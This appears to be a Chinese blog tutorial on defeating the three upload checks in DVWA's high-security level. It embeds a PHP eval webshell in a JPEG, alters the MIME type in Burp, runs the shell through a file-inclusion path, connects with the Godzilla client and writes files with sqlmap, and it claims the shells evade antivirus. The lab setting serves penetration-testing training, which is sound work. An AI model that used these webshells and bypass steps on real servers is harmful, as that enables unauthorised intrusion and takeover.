【DVWA实战】File Upload High级别攻防:绕过三重校验与哥斯拉图片马深度利用

张开发
2026/4/20 2:21:45 15 分钟阅读

分享文章

【DVWA实战】File Upload High级别攻防:绕过三重校验与哥斯拉图片马深度利用
1. High级别文件上传防御机制拆解DVWA的High级别文件上传模块设置了堪称教科书级别的三重防御机制我去年在某次企业内网渗透测试中就遇到过几乎相同的防护策略。先来看看这个铁三角防御体系第一重后缀白名单校验系统只允许.jpg/.jpeg/.png三种图片后缀这个在源码里写得明明白白$valid_extensions array(jpg, jpeg, png);我见过不少开发者以为只校验后缀就万事大吉了这种想法太天真。记得有次审计某CMS系统发现它只检查后缀就直接放行结果被我用.php.jpg双后缀轻松绕过。第二重MIME类型检测光有正确后缀还不够上传时HTTP请求中的Content-Type必须是image/jpeg或image/png$valid_mime_types array(image/jpeg, image/png);这里有个坑浏览器会根据文件后缀自动填充Content-Type。有次我用Burp改后缀但忘记改MIME类型结果被系统当场抓获。第三重文件头校验最狠的是这个getimagesize()函数检测它会验证文件前几个字节是否符合图片格式特征JPEG文件头FF D8 FF E0PNG文件头89 50 4E 47去年给某金融系统做渗透时他们的WAF连GIF的47 49 46 38都校验比DVWA还严格。不过道高一尺魔高一丈这些校验都有破解之道。额外防御随机重命名上传成功的文件会被重命名为md5(uniqid()).jpg这种随机名称防止直接猜测路径。这个设计确实增加了利用难度不过配合文件包含漏洞还是能搞定。2. 哥斯拉图片马的三套制作方案2.1 CMD二进制合并新手友好这是我最早学会的方法适合Windows环境快速操作。准备两个文件正常图片比如cat.jpg哥斯拉WebShellshell.php内容?php eval($_POST[pass]);?打开CMD执行copy /b cat.jpg shell.php godzilla.jpg关键参数说明/b二进制模式合并保留原始图片头路径含空格要用双引号包裹验证时用记事本打开godzilla.jpg滚动到底部应该能看到完整的PHP代码。有次我忘记加/b参数结果图片损坏无法预览但WebShell居然还能用真是意外发现。2.2 010 Editor精准注入推荐方案专业选手都用十六进制编辑器我最爱010 Editor。操作流程用010 Editor打开正常图片按CtrlEnd跳转到文件末尾粘贴哥斯拉PHP代码保存为godzilla.jpg重点检查文件头不能损坏JPEG保持FF D8开头PHP代码要完整无截断图片预览功能正常这个方法的优势是可以精确控制注入位置。有次我在PNG的IDAT块后面插入代码成功绕过某商业WAF的检测。2.3 哥斯拉一键生成最稳方案哥斯拉客户端的生成图片马功能真是神器操作路径点击生成→选择PHP语言勾选图片马选项绑定正常图片设置连接密码比如pass123输出godzilla.jpg生成的图片马自带加密混淆能绕过大多数杀毒软件。实测某数字卫士对普通WebShell秒杀但对这种图片马完全无视。3. BurpSuite精准拦截与篡改上传时的流量拦截是成败关键这里分享几个实战技巧正确拦截姿势启动Burp代理默认8080端口浏览器设置代理指向Burp在DVWA上传godzilla.jpgBurp会自动拦截POST请求关键修改点找到这个部分Content-Disposition: form-data; nameuploaded; filenamegodzilla.jpg Content-Type: application/octet-stream把application/octet-stream改成image/jpeg即可其他内容千万别动有次我手贱改了boundary字符串结果直接导致上传失败。常见踩坑点修改了全局的Content-Type头部误删了boundary分隔符文件名包含特殊字符导致解析错误忘记URL编码中文字符4. 文件包含漏洞组合拳4.1 绝对路径构造技巧上传成功后需要通过文件包含漏洞触发执行。关键在构造正确的绝对路径http://靶机IP/dvwa/vulnerabilities/fi/?pagefile:///C:/xampp/htdocs/dvwa/hackable/uploads/godzilla.jpg路径获取方法查看上传成功页面的提示暴力猜解常见路径如/var/www/html/uploads/通过报错信息泄露获取有次遇到Windows系统我用了\反斜杠导致失败后来改用/正斜杠才成功。这个细节坑了我两小时。4.2 执行结果诊断正常执行时页面应该是空白的如果出现Warning: getimagesize()图片头损坏No such file路径错误Permission denied目录不可读遇到问题先检查图片马完整性用记事本打开看PHP代码是否完整。有次我用的图片太大超过10MB导致PHP执行超时换成小图立即解决。5. 哥斯拉连接实战指南5.1 客户端配置详解哥斯拉连接配置有讲究URL要包含完整的文件包含路径密码必须与WebShell中的$_POST[pass]一致加密器选PHP默认除非特殊需求超时时间建议设为30秒我曾遇到连接一直超时的情况后来发现是WAF拦截改用HTTPS协议后成功连接。5.2 连接失败排查手册现象1返回HTTP 500错误检查路径是否包含空格或中文确认文件包含漏洞真实存在尝试URL编码特殊字符现象2解密失败核对密码大小写检查WebShell代码是否被截断尝试更换加密器现象3命令无响应可能是禁用危险函数改用shell_exec()或反引号执行尝试上传自定义脚本有次遇到所有命令都返回空最后发现是服务器开了SELinux换成Meterpreter才搞定。6. 自动化利用进阶技巧对于需要批量测试的场景可以结合SQLMap自动化写入图片马sqlmap -u http://靶机IP/dvwa/vulnerabilities/sqli/?id1 \ --cookiesecurityhigh; PHPSESSIDxxx \ --file-writegodzilla.jpg \ --file-dest/var/www/html/dvwa/hackable/uploads/godzilla.jpg前提条件存在SQL注入漏洞当前用户有文件写入权限知道绝对路径这个技巧在时间紧任务重的红队评估中特别管用。去年某次攻防演练我就是靠这招快速拿下三个子站。

更多文章